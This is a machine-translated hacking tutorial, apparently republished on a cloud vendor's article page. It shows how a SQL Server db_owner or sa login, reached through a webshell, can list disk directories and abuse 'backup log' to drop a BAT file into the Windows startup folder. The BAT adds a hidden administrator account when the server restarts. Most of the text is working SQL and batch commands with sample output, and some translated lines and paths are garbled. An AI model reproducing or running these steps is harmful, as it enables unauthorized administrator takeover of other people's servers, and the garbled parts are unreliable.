DB_OWNER or sa back up BAT to the startup Item to raise the right

Source: Internet
Author: User

The following is only the key code:
Use the query analyzer or webshell to connect to the database and follow these steps:
1. Database permission column directory
Exec master .. xp_dirtree c:, 1, 1
You can use the preceding statements to list disk directories under the database permission.

Below we use the backup method to back up a BAT to the startup Item

Certificate --------------------------------------------------------------------------------------------------------------------------------------------------------------------
Alter database [abc] set recovery full --
Create table cmd (a image )--
Backup log [abc] to disk = c: cmd1 with init --
Insert into cmd (a) values (values )--
Backup log [abc] to disk = C: Documents and SettingsAll Users "start" Menu \ Program start \ start. bat --
Drop table cmd --
Certificate --------------------------------------------------------------------------------------------------------------------------------------------------------------------

The preceding SQL statements are backup statements. Note the following:
Which of the following commands is used to encrypt HEX? I will tell you how to use the password format.

Edit the ADMIN command and delete START. BAT.

@ Echo off
@ Cd % windir %/* Here you can also CD to the SYSTEM32 directory */
@ Net user admin/add
@ Net localgroup administrators admin/add
@ Del start. bat/* this step deletes the BAT file */
@ Exit/* exit CMD in this step */
@/* It is best to add the last @. Do you want to avoid making an error in your previous command */


Column database command: SELECT DB_NAME ()

The database currently connected to me is abc.

In this case, replace the database name in the backup statement with the name abc of the current database.

After the preceding SQL statement is executed, the following information is returned:

One page has been processed, which belongs to the database abc file abc_Log (located on file 1 ).
The backup log operation successfully processed one page and took 0.048 seconds (0.160 MB/second ).

(1 row (s) affected)

One page has been processed, which belongs to the database abc file abc_Log (located on file 1 ).
The backup log operation successfully processed one page and took 0.043 seconds (0.083 MB/second ).

It indicates that the backup is successful. Check the startup Item to see if a bat file is added. Now, we will add a pre-defined Administrator account after the server is restarted and logged on.

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.